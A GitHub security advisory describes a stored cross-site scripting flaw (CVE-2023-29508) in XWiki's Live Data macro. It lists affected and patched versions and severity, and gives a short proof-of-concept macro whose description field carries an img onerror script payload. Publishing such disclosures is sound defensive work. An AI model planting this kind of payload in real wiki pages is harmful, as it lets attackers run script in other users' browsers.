Skip to content

org.xwiki.platform:xwiki-platform-livedata-macro vulnerable to Basic Cross-site Scripting

High severity GitHub Reviewed Published Apr 12, 2023 in xwiki/xwiki-platform • Updated Apr 26, 2023

Package

maven org.xwiki.platform:xwiki-platform-livedata-macro (Maven)

Affected versions

>= 13.10.10, < 13.10.11
>= 14.4, < 14.4.7
>= 14.9, < 14.10

Patched versions

13.10.11
14.4.7
14.10

Description

Impact

A user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.

For instance, by adding the LiveData below in the about section of the profile of a user created by an admin.

{{liveData id="movies" properties="title,description"}}
{
  "data": {
    "count": 1,
    "entries": [
      {
        "title": "Meet John Doe",
        "url": "https://www.imdb.com/title/tt0033891/",
        "description": "<img onerror='alert(1)' src='foo' />"
      }
    ]
  },
  "meta": {
    "propertyDescriptors": [
      {
        "id": "title",
        "name": "Title",
        "visible": true,
        "displayer": {"id": "link", "propertyHref": "url"}
      },
      {
        "id": "description",
        "name": "Description",
        "visible": true,
        "displayer": "html"
      }
    ]
  }
}
{{/liveData}}

Patches

This has been patched in XWiki 14.10, 14.4.7, and 13.10.11.

Workarounds

No known workaround.

References

For more information

If you have any questions or comments about this advisory:

References

@tmortagne tmortagne published to xwiki/xwiki-platform Apr 12, 2023
Published to the GitHub Advisory Database Apr 12, 2023
Reviewed Apr 12, 2023
Published by the National Vulnerability Database Apr 16, 2023
Last updated Apr 26, 2023

Severity

High
8.9
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L

CVE ID

CVE-2023-29508

GHSA ID

GHSA-hmm7-6ph9-8jf2

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.